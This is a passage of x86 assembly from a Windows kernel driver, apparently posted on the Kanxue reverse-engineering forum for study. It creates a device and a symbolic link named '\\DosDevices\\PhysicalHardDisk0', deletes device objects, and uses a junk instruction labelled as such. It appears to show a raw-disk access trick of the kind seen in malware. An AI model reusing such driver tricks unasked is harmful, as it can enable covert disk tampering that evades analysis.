        push        eax                ; SourceString
        lea        eax, DeviceName
        push        eax                ; DestinationString
        call        RtlAnsiStringToUnicodeString
        push        offset aDosdevicesPhys ; "\\DosDevices\\PhysicalHardDisk0"
        lea        eax, DestinationString
        push        eax                ; DestinationString
        call        RtlInitAnsiString
        push        1                ; AllocateDestinationString
        lea        eax, DestinationString
        push        eax                ; SourceString
        lea        eax, SymbolicLinkName
        push        eax                ; DestinationString
        call        RtlAnsiStringToUnicodeString
        lea        eax, DeviceObject
        push        eax                ; DeviceObject
        push        0                ; Exclusive
        push        0                ; DeviceCharacteristics
        push        15h                ; DeviceType
        lea        eax, DeviceName
        push        eax                ; DeviceName
        push        0                ; DeviceExtensionSize
        push        DriverObject; DriverObject
        call        IoCreateDevice ;创建设备
        or        eax, eax
        jz        CreateDeviceSucess
        jmp         Quit
        
CreateDeviceSucess:
        lea        eax, DeviceName
        push        eax                ; DeviceName
        lea        eax, SymbolicLinkName
        push        eax                ; SymbolicLinkName
        call        IoCreateSymbolicLink ;创建符号链接
        or        eax, eax
        jz        Quit
        mov        edi, DriverObject
        mov        esi, [edi+4]      ;DRIVER_OBJECT.DeviceObject
        jmp        StartCycle
        
ContinueDeleteDevice:
        mov        edi, [esi+0Ch]   ;DEVICE_OBJECT.DriverObject
        push        esi                     ; DeviceObject
        call        IoDeleteDevice
        mov        esi, edi
        
StartCycle:
        or        esi, esi
        jnz        ContinueDeleteDevice
        jmp        short $+2 ;花指令 ,执行退出指令
        
Quit:
        lea        eax, DeviceName
        push        eax                ; UnicodeString
        call        RtlFreeUnicodeString
        lea        eax, SymbolicLinkName
        push        eax                ; UnicodeString
        call        RtlFreeUnicodeString
        popa
        xor        eax, eax
        pop        ebx
        pop        esi
        pop        edi
        retn
start endp

end start

声明:本贴仅用于学习用途,转贴须声明来自看雪。
友情提示:
    阅读本贴之前要详细了解驱动相关的几个结构体,并好好看看驱动版块最近两天发表的几个帖子。